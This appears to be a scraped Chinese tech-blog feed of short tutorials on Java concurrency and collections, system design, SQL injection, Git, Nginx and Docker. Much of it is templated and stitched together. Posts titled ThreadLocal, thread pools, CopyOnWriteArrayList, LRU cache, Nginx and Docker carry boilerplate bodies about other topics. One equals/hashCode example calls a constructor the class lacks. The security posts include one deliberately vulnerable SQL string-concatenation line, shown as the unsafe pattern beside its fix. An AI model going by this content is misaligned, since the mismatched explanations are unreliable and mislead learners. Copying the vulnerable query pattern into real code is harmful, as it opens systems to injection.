ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 订单超时取消如何实现

订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ SQL 注入原理和防护方法

SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

